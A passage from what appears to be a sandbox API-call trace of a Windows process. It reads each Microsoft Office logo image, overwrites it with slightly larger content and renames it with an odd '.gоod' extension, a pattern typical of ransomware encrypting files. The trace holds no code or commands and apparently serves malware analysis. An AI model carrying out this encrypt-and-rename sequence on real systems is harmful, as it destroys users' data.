Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x66 [0236.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0236.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895e0fcf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x890)) returned 1 [0236.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0236.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-100.png.gоod")) returned 1 [0236.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x61 [0236.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0236.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x37b4288 | out: lpFileInformation=0x37b4288*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae4)) returned 1 [0236.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0236.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x61 [0236.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.815] GetFileType (hFile=0x860) returned 0x1 [0236.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.815] GetFileType (hFile=0x860) returned 0x1 [0236.815] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xae4 [0236.815] ReadFile (in: hFile=0x860, lpBuffer=0x37b50e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37b50e8*, lpNumberOfBytesRead=0x1fcee238*=0xae4, lpOverlapped=0x0) returned 1 [0237.590] CloseHandle (hObject=0x860) returned 1 [0237.642] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x61 [0237.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0237.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0237.643] GetFileType (hFile=0x630) returned 0x1 [0237.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0237.643] GetFileType (hFile=0x630) returned 0x1 [0237.644] WriteFile (in: hFile=0x630, lpBuffer=0x37c1648*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37c1648*, lpNumberOfBytesWritten=0x1fcee148*=0xaf0, lpOverlapped=0x0) returned 1 [0237.644] CloseHandle (hObject=0x630) returned 1 [0237.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x61 [0237.645] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x66 [0237.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0237.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x89dc6ddc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xaf0)) returned 1 [0237.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0237.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-140.png.gоod")) returned 1 [0237.646] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x61 [0237.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0237.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37c2980 | out: lpFileInformation=0x37c2980*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd1e)) returned 1 [0237.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0237.646] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x61 [0237.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0237.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0237.646] GetFileType (hFile=0x630) returned 0x1 [0237.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0237.647] GetFileType (hFile=0x630) returned 0x1 [0237.647] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd1e [0237.647] ReadFile (in: hFile=0x630, lpBuffer=0x37c3a18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37c3a18*, lpNumberOfBytesRead=0x1fcee238*=0xd1e, lpOverlapped=0x0) returned 1 [0237.648] CloseHandle (hObject=0x630) returned 1 [0237.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x61 [0237.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0237.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0237.664] GetFileType (hFile=0x630) returned 0x1 [0237.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0237.664] GetFileType (hFile=0x630) returned 0x1 [0237.664] WriteFile (in: hFile=0x630, lpBuffer=0x383f2e8*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x383f2e8*, lpNumberOfBytesWritten=0x1fcee148*=0xd20, lpOverlapped=0x0) returned 1 [0237.665] CloseHandle (hObject=0x630) returned 1 [0237.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x61 [0237.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x66 [0237.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0237.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x89ded0f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0237.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0237.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-180.png.gоod")) returned 1 [0237.666] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x60 [0237.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0237.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3840620 | out: lpFileInformation=0x3840620*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b7)) returned 1 [0237.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0237.667] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x60 [0237.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0237.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0237.667] GetFileType (hFile=0x630) returned 0x1 [0237.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0237.667] GetFileType (hFile=0x630) returned 0x1 [0237.667] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7b7 [0237.667] ReadFile (in: hFile=0x630, lpBuffer=0x3841150, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3841150*, lpNumberOfBytesRead=0x1fcee238*=0x7b7, lpOverlapped=0x0) returned 1 [0239.545] CloseHandle (hObject=0x630) returned 1 [0239.574] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x60 [0239.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0239.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0239.575] GetFileType (hFile=0x630) returned 0x1 [0239.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0239.575] GetFileType (hFile=0x630) returned 0x1 [0239.575] WriteFile (in: hFile=0x630, lpBuffer=0x3765930*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3765930*, lpNumberOfBytesWritten=0x1fcee148*=0x7c0, lpOverlapped=0x0) returned 1 [0239.576] CloseHandle (hObject=0x630) returned 1 [0239.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x60 [0239.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x65 [0239.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0239.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8b023ecd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0239.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0239.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-80.png.gоod")) returned 1 [0239.577] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png", lpFilePart=0x0) returned 0x52 [0239.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0239.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3766c68 | out: lpFileInformation=0x3766c68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x892)) returned 1 [0239.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0239.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png", lpFilePart=0x0) returned 0x52 [0239.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0239.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0239.578] GetFileType (hFile=0x630) returned 0x1 [0239.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0239.578] GetFileType (hFile=0x630) returned 0x1 [0239.578] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x892 [0239.578] ReadFile (in: hFile=0x630, lpBuffer=0x3769220, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3769220*, lpNumberOfBytesRead=0x1fcee238*=0x892, lpOverlapped=0x0) returned 1 [0239.846] CloseHandle (hObject=0x630) returned 1 [0239.856] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png", lpFilePart=0x0) returned 0x52 [0239.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0239.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0239.858] GetFileType (hFile=0x630) returned 0x1 [0239.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0239.858] GetFileType (hFile=0x630) returned 0x1 [0239.858] WriteFile (in: hFile=0x630, lpBuffer=0x37ad408*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37ad408*, lpNumberOfBytesWritten=0x1fcee148*=0x8a0, lpOverlapped=0x0) returned 1 [0239.859] CloseHandle (hObject=0x630) returned 1 [0239.859] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png", lpFilePart=0x0) returned 0x52 [0239.859] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png.gоod", lpFilePart=0x0) returned 0x57 [0239.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0239.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8b2d464c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8a0)) returned 1 [0239.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0239.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-100.png.gоod")) returned 1 [0239.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png", lpFilePart=0x0) returned 0x52 [0239.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0239.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x37ae6e0 | out: lpFileInformation=0x37ae6e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, 